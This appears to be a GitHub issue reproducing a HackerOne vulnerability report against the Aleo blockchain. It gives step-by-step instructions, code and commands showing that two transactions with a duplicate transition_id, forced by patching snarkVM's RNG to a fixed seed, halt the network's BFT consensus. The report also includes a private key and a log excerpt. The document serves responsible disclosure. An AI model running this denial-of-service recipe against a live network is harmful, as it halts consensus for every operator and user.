[Bug] Two transactions containing the same transition_id in a single batch will halt the network
feezybabee opened this issue · comments
https://hackerone.com/reports/2282751
Summary
Two transactions contain the same transition_id in the single batch halt the network
Steps To Reproduce:
1.Deploy a Leo program like below
program attack.aleo {
transition main() -> public u32 {
return 1u32;
}
}
2.Locally patch snarkvm code
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
pub fn execute<R: Rng + CryptoRng>(
&self,
private_key: &PrivateKey<N>,
(program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>),
inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>,
fee_record: Option<Record<N, Plaintext<N>>>,
priority_fee_in_microcredits: u64,
query: Option<Query<N, C::BlockStorage>>,
rng: &mut R,
) -> Result<Transaction<N>> {
/// *** Modify ***///
use rand::SeedableRng;
let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0);
/// *** Modify ***///
//***Modify `rng` -> `rng_same`***//
let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?;
// ....
//***Modify `rng` -> `rng_same`***//
let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?;
// Don't change the `rng` used to generate `fee_transition`
3.Use the patched snarkvm
version to build snarkos
4.Run the scripts twice to generate two transactions.
PROGRAM_NAME=attack.aleo
FUNCTION_NAME=main
PRIVATE_KEY=APrivateKey1zkp8CZNn3yeCseEtxuVPbDCwSyhGW6yZKUYKfgXmcpoGPWH
snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 100 $PROGRAM_NAME $FUNCTION_NAME \
--dry-run
5.Two transactions have the same transition_id of main
, different transition_id of fee_public
6.Broadcast two transactions at the same time, check the logs:
2023-12-13T06:55:13.976424Z ERROR BFT failed to advance the subdag for round 228 - Found a duplicate transition in block 97
Proof-of-Concept (PoC)
self.ledger.prepare_advance_to_next_quorum_block
doesn't check the transactions whether have the sametransition_id
.- While
self.ledger.check_next_block
will check whether there are the sametransition_id
s.When the check fails, the transmissions will be reinserted. - Repeat step 1
Supporting Material/References:
Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz
Impact
The vulnerability will halt the network easily.
program attack1.aleo {
transition main() {
}
}
Program like this can skip the input_id and output_id checks, lead to the same transition_id or tcm.